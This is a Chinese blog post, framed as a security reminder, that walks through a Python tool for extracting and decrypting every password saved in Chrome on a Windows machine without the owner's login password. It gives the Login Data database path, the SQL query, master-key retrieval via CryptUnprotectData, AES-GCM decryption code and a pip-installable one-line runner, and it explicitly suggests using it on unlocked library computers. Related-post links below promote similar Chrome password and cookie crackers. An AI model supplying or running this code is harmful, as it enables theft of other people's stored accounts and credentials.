盗号不是只有黑客才能到,一枚普通的Python程序员也可以!

B站账号被盗IP显示广东?从撞库原理到Python排查与安全加固 在互联网账号安全体系中,异地登录提醒和IP归属地查询常被误读为“精确定位”,实际上IP归属地受运营商出口、动态IP等因素影响,只能作为参考线索。账号被盗的常见原因包括撞库、钓鱼链接和扫码滥用,属于自动化、规模化的黑产行为。理解这些原理后,用户可以通过登录设备管理快速止损,或借助Python脚本解析登录日志、比对异常IP,提高排查效率。从日常防护角度看,独立高强度密码、开启二次验证、定期清理授权应用,是最有效的安全习惯。本文以B站账号被盗且IP显示广东的场景为例,梳理从紧急处置、IP分析到脚本辅助排查的完整流 阅读详情

前言

     很多人觉得盗号都很牛逼,很厉害,这肯定是一枚黑客程序员,那么事实真是如此吗?

其实到要弄到账号密码很简单,一般很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~当然现在盗号啥的也并没啥卵用,以前我上次初中那会,去黑网吧玩,那时候还是玩的DNF刷一夜能得一点金币,结果第二天去的时候就一个剑魂上面留了把木棍!我相信很多男生应该和我一样有过相同的经历把!所以今天给大家算是提个醒把!

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

 

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

 

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

 

其中密码是加密之后的结果,打印出来大概是这样子的:

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

获得的结果默认保存在results.csv中,截图如下:

 

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools
#关注公众号:Python源码 领取完整代码

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

是不是非常简单,如果你是什么都不懂得小白,那确实男上加男!哈哈哈 

Python-LaZagne使用名为CryptUnprotectData的内部WindowsAPI来解密用户密码 LaZagne - 使用名为CryptUnprotectData的内部Windows API来解密用户密码 立即下载

相关推荐

告别环境配置烦恼:用Conda一键搞定GATK4、samtools、fastp等生信分析全家桶

本文介绍如何利用Conda快速搭建包含GATK4、samtools、fastp等工具的生物信息学分析环境,解决软件安装和版本冲突问题。通过详细的配置步骤和实战案例,帮助研究者十分钟内完成重测序分析全家桶的环境配置,显著提升上游分析效率。

weixin_30753873的博客 334

使用Python破解谷歌Chrome浏览器存储密码

使用Python破解谷歌Chrome浏览器存储密码 目前,谷歌浏览器80以后版本改进了用户存储在本机密码的加密方式,以往的破解密码方法不可行了!以下是博主测试可行的破解方法。 采用Python,安装两个包pywin32和cryptography,可以使用pip installpywin32,pip install cryptography。具体破解代码如下: import os,json,base64,sqlite3 from win32crypt import CryptUnprotectDat..

箭鱼13的优快云空间 2807

RNA-Seq数据分析实战:从FastQC到STAR比对的完整流程(附避坑指南)

本文提供了RNA-Seq数据分析从FastQC质控到STAR比对的完整实战流程与避坑指南。详细解读了FastQC/MultiQC报告的关键指标,并重点阐述了STAR比对工具的核心参数设置、索引构建及性能优化策略,旨在帮助用户获得准确可靠的比对结果,为下游基因表达分析奠定坚实基础。

weixin_29290259的博客 92

python抓取数据会不会违法_爬虫到底违法吗?这位爬虫工程师给出了答案

裸睡的猪:六月分享主题:爬虫​zhuanlan.zhihu.com裸睡的猪:HTTP详解​zhuanlan.zhihu.com裸睡的猪:网页简介​zhuanlan.zhihu.com一文带你了解爬虫​zhuanlan.zhihu.com大家好,本期将为大家来采访一位爬虫工程师,与他相识是在一个技术号主群中,只有他怼了我的文章,所以也算不打不相识!他便是小周码字号主:Loco。文章主要分为三部分,第...

weixin_39682511的博客 908

从SC7A20数据手册到代码:一步步搞定加速度值读取与换算(避坑指南)

本文详细解析了SC7A20三轴加速度传感器的数据手册,从寄存器配置到原始数据读取,再到加速度值的换算方法。通过代码示例和避坑指南,帮助开发者准确实现加速度值的读取与换算,适用于嵌入式开发和运动检测应用。

weixin_26878995的博客 582

用CesiumLab2+nginx零成本构建三维地形服务:从DEM数据到浏览器渲染全流程

本文详细介绍了如何利用CesiumLab2和nginx零成本构建私有三维地形服务的完整流程。从获取DEM数据、使用CesiumLab2进行格式转换,到配置nginx服务器并重点解决跨域问题(Access-Control-Allow-Origin),最终实现在Cesium中流畅加载与渲染自定义地形,为内网或涉密项目提供了高性价比的解决方案。

weixin_29300931的博客 117

python: cookies 解密问题

最近python脚本cookie解密出现问题,报错 pywintypes.error: (87, 'CryptProtectData', '参数错误。') 也有13 也有87 最近一直很忙,没有时间查找原因,从字节码上可以看到能够正常解密的cookie是没有v10前缀的,查找cookie加解密方式,发现在chrome 80+版本以后对 cookie加密方式进行了调整,网上的所有cookie加解密的...

pyystone的专栏 5435

告别臃肿!保姆级教程:用NTLite深度精简Win10,打造你的专属纯净系统(附完整组件移除清单)

本文提供了一份详细的NTLite教程,帮助用户深度精简Windows10系统,移除冗余组件并优化性能。从准备工作到组件移除清单,再到系统配置优化和无人值守安装,逐步指导用户打造专属纯净系统。附完整组件移除清单和实战经验,确保系统稳定高效运行。

weixin_30945039的博客 850

python操作谷歌浏览器,python获取chrome cookies

Chrome浏览器已保存的密码都保存在一个sqlite3数据库文件中,和Cookies数据库在同一个文件夹。如:C:\Users\Jueee\AppData\Local\Google\Chrome\User Data\Default\Login Data前面的路径“C:\Users\Jueee\AppData\Local”,我们可以通过读取环境变量中的值来实现。

pingf123的博客 613

【自监督学习完整教程】第 1 章:初识自监督学习

摘要: 自监督学习(SSL)是一种利用无标签数据自动生成伪标签进行模型训练的方法,有效降低了人工标注成本。本文对比了监督学习、无监督学习和SSL的差异,重点阐述了SSL通过设计PretextTasks(如图像旋转预测)从数据中提取深层特征的原理。实践部分以PyTorch实现图像旋转预测任务为例,展示了SSL的训练流程。实验表明,SSL能够学习通用视觉特征,适用于计算机视觉、自然语言处理等领域,尤其在标注数据稀缺的场景中表现优异。

u012133341的博客 259

CasADi - 最优控制开源 Python/MATLAB 库

CasADi 是一款开源软件工具,用于数值优化,特别是最优控制(即涉及微分方程的优化)。该项目由 Joel Andersson 和 Joris Gillis 在鲁汶工程大学工程优化中心 (OPTEC) 在读博士生在 Moritz Diehl 的指导下发起。本文档旨在简要介绍 CasADi。

机器人控制与仿真应用 7930

中国黑客群体的真实收入,实在太震惊!

是一种面向对象、直译式电脑编程语言,具有近二十年的发展历史,成熟且稳定。它包含了一组完善而且容易理解的标准库,能够轻松完成很多常见的任务。它的语法简捷和清晰,尽量使用无异义的英语单词,与其它大多数程序设计语言使用大括号不一样,它使用缩进来定义语句块。与Scheme、Ruby、Perl、Tcl等动态语言一样,Python具备垃圾回收功能,能够自动管理内存使用。它经常被当作脚本语言用于处理系统管理任务和网络程序编写,然而它也非常适合完成各种高级任务。Python虚拟机本身几乎可以在所有的作业系统中运行。

2401_84215240的博客 1414

Qt入门教程【基础控件篇】QLineEdit输入框

QLineEdit输入框

小鱼酱的博客 3260

中国黑客群体的真实收入,实在太震惊!黑客这一行真的吃香吗?

从圈外认知来说,黑客一直被认为是高收入群体,黑客有白帽和黑帽处于黑白两道的黑客会的技术都有些相似,但是却是对立的,白帽做网络安全,修补漏洞。黑帽各种破坏,挖数据,攻击漏洞。可能很多人都会觉得黑帽黑客会赚的非常多,让我们一起看看吧。

资深程序员,曾自学JAVA,C#,如今从业于网安行业 1090

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

揭秘中国黑客群体真实收入,这行到底香不香?

从圈外认知来说,黑客一直被认为是高收入群体,黑客有白帽和黑帽处于黑白两道的黑客会的技术都有些相似,但是却是对立的,白帽做网络安全,修补漏洞。黑帽各种破坏,挖数据,攻击漏洞。可能很多人都会觉得黑帽黑客会赚的非常多,让我们一起看看吧。

bigbangbangbang1的博客 1038

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

如果有一天“黑客”都来跟你抢月饼

有的人看到漏洞的时候,第一反应是我能用它来作弊;另一些人则觉得,我应该把它堵上。因而我们可以说,有一群人比另一群人拥有更多的黑客精神,也配得上更高的职业荣耀。

libaiup的博客 162

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

黑客技术入门指南:核心技能、合规路径与真实变现方向

网络安全作为数字化时代的基石,常被误解为神秘的黑客技巧。事实上,黑客技术的本质是对系统信任边界的梳理与验证,而白帽黑客正是通过合规的渗透测试,帮助企业发现漏洞、加固防线。从网络协议、操作系统到Web安全,每一项基础技能都指向一个核心:理解数据流动与信任模型。掌握这些知识后,可通过本地靶场、CTF竞赛和授权项目进行实战演练,进而走向安全工程师、漏洞众测等职业路径。本文将拆解黑客技术学习中的关键环节,探讨如何避开违规陷阱,将技术能力转化为可持续的职场价值。无论你是零基础新人,还是正在转型的IT从业者,都能从中找

weixin_29325515的博客 264

白帽黑客入门指南:从零基础到渗透测试的12个关键步骤

在信息安全领域,黑客常被误解为破坏者,而真正的道德黑客(白帽黑客)专注于发现系统漏洞并帮助企业修复风险。掌握网络安全的核心不在于会使用多少攻击工具,而在于深入理解操作系统、网络协议与代码原理。本文从Linux基础、Python编程、Web技术、数据库与加密原理等通用技术概念出发,梳理白帽黑客必经的成长路径,强调合法授权与职业伦理的底线。无论你是渴望转型的安全运维,还是刚接触渗透测试的新手,都可以通过搭建本地靶场、熟悉Burp Suite、Nmap等主流工具,结合CTF赛事与漏洞赏金平台逐步提升实战能力。真正

weixin_34319374的博客 495

AI时代普通人的隐私保护实操指南:从输入习惯到权限管理

在大模型与在线办公工具快速普及的今天,数据安全已不再是企业或技术人员的专属议题。日常使用AI工具时,聊天记录、文件上传、应用授权都可能成为个人信息泄露的入口,这种主动输入型风险往往比传统黑客攻击更隐蔽。理解数据生命周期与最小化暴露原则,是每个普通用户建立隐私防护的基础。通过调整输入习惯、对敏感内容脱敏、检查手机应用权限、清理第三方授权、合理选择本地部署或半本地策略,以及规范密码与验证机制,可以有效降低身份被冒用、遭遇精准诈骗的风险。这些工程实践不仅适用于个人日常办公,也适用于家庭设备管理与敏感文件存储场景。

weixin_34367257的博客 515

黑客工具背后的伦理:cookie_crimes 能做什么、不该做什么

cookie_crimes 是一款开源的 Chrome Cookie 提取工具,能在不需要 root 权限、不需要用户密码的情况下,把本机 Chrome 浏览器里的所有 Cookie 以 JSON 格式完整导出。这个"无 root 读取 Chrome Cookie"的小工具支持 Windows、Linux 与 macOS,甚至还能兼容微软 Edge 浏览器。本文将用通俗的语言,讲清楚 cookie

gitblog_00703的博客 685

渗透测试工程师是做什么的?

因为它 “接地气”:不用一开始就懂复杂的 AI 安全、量子加密,只要能 “找漏洞、给方案”,就能入行;而且能接触到企业真实系统,积累的经验比纯理论学习更值钱。就像我带的一个实习生,去年从 Java 开发转来做渗透测试,半年后就能独立负责小型企业的测试项目,薪资从 12K 涨到了 20K—— 他说:“原来不用卷算法,也能在网安圈找到立足之地。如果你也对 “找漏洞、保安全” 感兴趣,不妨从今天开始,先搭个 DVWA 靶场,试一次 “模拟 SQL 注入”—— 说不定这就是你进入网安圈的第一步。

logic1001的博客 699

【最新】红客技术怎么学?红客入门到精通(超详细),看这篇就够了

红客是指掌握互联网高级技术,并且把此技术运用到维护社会安全以及稳定的方面的人,他们这些一起组成一个精英团体,叫做‘红客联盟’。那相反把此技术运用到破解私人账户,攻击电脑等方面的人,就被称之为‘黑客’这也就说明了,技术跟意识的重要性了,拥有高技术还需要看他把此技术运用到那些地方,这就需要看每个人的主观能动性了。

logic1001的博客 1402

从“黑微信”迷思到网络安全正道:技术壁垒与学习路径全解析

网络安全的核心在于理解系统运作原理并构建防御体系。从技术原理层面看,现代应用安全涉及端到端加密、多重身份认证、智能风控等多重防护机制,这些技术共同构成了数字世界的安全基石。其技术价值不仅在于保护个人隐私与数据安全,更是支撑数字经济健康发展的关键基础设施。在应用场景上,这些安全技术广泛应用于金融、社交、企业服务等领域,保障着亿级用户的信息安全。基于对通信加密和身份认证等核心技术的深入理解,我们可以清晰地认识到,针对成熟商业系统的未授权访问面临极高的技术壁垒与法律风险。对于希望进入这一领域的学习者,正确的路径是

weixin_30535843的博客 501

揭秘网安圈最 “接地气” 的岗位——渗透测试工程师

因为它 “接地气”:不用一开始就懂复杂的 AI 安全、量子加密,只要能 “找漏洞、给方案”,就能入行;而且能接触到企业真实系统,积累的经验比纯理论学习更值钱。就像我带的一个实习生,去年从 Java 开发转来做渗透测试,半年后就能独立负责小型企业的测试项目,薪资从 12K 涨到了 20K—— 他说:“原来不用卷算法,也能在网安圈找到立足之地。如果你也对 “找漏洞、保安全” 感兴趣,不妨从今天开始,先搭个 DVWA 靶场,试一次 “模拟 SQL 注入”—— 说不定这就是你进入网安圈的第一步。

logic1001的博客 1201
上一篇: 情人节到了,我用Python教你百分百俘获你的女神。程序员的专属浪漫。
下一篇: 如何利用Python每天给自己赚一包烟钱?
PythonJavaPHP
博客等级 码龄7年 116粉丝 76原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值